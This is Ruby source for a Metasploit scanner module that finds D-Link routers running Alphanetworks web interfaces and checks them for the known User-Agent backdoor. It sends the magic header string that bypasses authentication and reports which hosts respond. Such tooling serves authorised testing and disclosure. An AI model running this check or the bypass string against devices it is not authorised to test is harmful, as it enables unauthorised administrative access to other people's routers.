## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report def initialize super( 'Name' => 'D-Link User-Agent Backdoor Scanner', 'Description' => %q{ This module attempts to find D-Link devices running Alphanetworks web interfaces affected by the backdoor found on the User-Agent header. This module has been tested successfully on a DIR-100 device with firmware version v1.13. }, 'Author' => [ 'Craig Heffner', # vulnerability discovery 'Michael Messner <devnull[at]s3cur1ty.de>', # Metasploit module 'juan vazquez' # minor help with msf module ], 'License' => MSF_LICENSE, 'References' => [ [ 'URL', 'http://www.devttys0.com/2013/10/reverse-engineering-a-d-link-backdoor/' ] ], # First documented in detail by Craig, but looks like it's been known # (at least to the Russians :-) ) since 2010 - see post at forum.codenet.ru 'DisclosureDate' => "Oct 12 2013" ) end def is_alpha_web_server? begin res = send_request_cgi({'uri' => '/'}) rescue ::Rex::ConnectionError vprint_error("#{rhost}:#{rport} - Failed to connect to the web server") return false end # Signatures: # * httpd-alphanetworks/2.23 # * Alpha_webserv if res and res.headers["Server"] and res.headers["Server"] =~ /alpha/i return true end return false end def run_host(ip) if is_alpha_web_server? vprint_good("#{ip} - Alphanetworks web server detected") else vprint_error("#{ip} - Alphanetworks web server doesn't detected") return end begin res = send_request_cgi({ 'uri' => '/', 'method' => 'GET', 'agent' => 'xmlset_roodkcableoj28840ybtide' }) rescue ::Rex::ConnectionError vprint_error("#{ip}:#{rport} - Failed to connect to the web server") return end # DIR-100 device with firmware version v1.13 # not sure if this matches on other devices # TODO: Testing on other devices if res and res.code == 200 and res.headers["Content-length"] != 0 and res.body =~ /Home\/bsc_internet\.htm/ print_good("#{ip}:#{rport} - Vulnerable for authentication bypass via User-Agent Header \"xmlset_roodkcableoj28840ybtide\"") end end end